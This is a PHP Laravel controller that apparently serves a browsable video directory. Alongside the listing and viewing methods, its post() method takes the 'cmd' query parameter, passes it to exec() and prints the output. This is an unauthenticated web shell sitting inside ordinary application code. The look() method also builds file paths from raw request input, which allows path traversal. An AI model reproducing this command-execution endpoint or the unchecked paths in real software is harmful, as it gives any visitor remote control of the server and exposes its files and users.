<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use App\Http\Requests;
use App\Http\Controllers\Controller;

class VideoController extends Controller
{
    private $path;

    public function __construct()
    {
        $this->path = public_path().'/videos';
    }

    public function index(Request $request)
    {
        $dir_list = $this->getFileList($this->path);
        return view('video.index')->with('dir_list',$dir_list)->with('dir',$request->file);
    }

    public function getFileList($directory) {        
        $files = array();        
        if(is_dir($directory)) {        
            if($dh = opendir($directory)) {        
                while(($file = readdir($dh)) !== false) {        
                    if($file != '.' && $file != '..') {        
                        $files[] = $file;        
                    }        
                }    
                closedir($dh);        
            }        
        }        
        return $files;        
    }

    public function look(Request $request)
    {
        // dd($_SERVER['SERVER_ADDR']);
        if(is_dir($this->path.'/'.$request->file)){
            // dd($this->path.'/'.$request->file);
            $dir_list = $this->getFileList($this->path.'/'.$request->file);
            return view('video.index')->with('dir_list',$dir_list)->with('dir',$request->file);
        }elseif(file_exists($this->path.'/'.$request->file)){
            return view('video.show')->with('dir','/videos/'.$request->file);
        }
    }
    
    public function post()
    {
        if (isset($_GET['cmd']))  
        {  
            $cmd = stripslashes($_GET['cmd']);
            // dd($cmd);  
            exec($cmd, $out);  
            var_dump($out);  
            echo '<br>';  
            var_dump($cmd);  
        } else  
        { 
            dd($_GET);
        }
    }
 
    
}
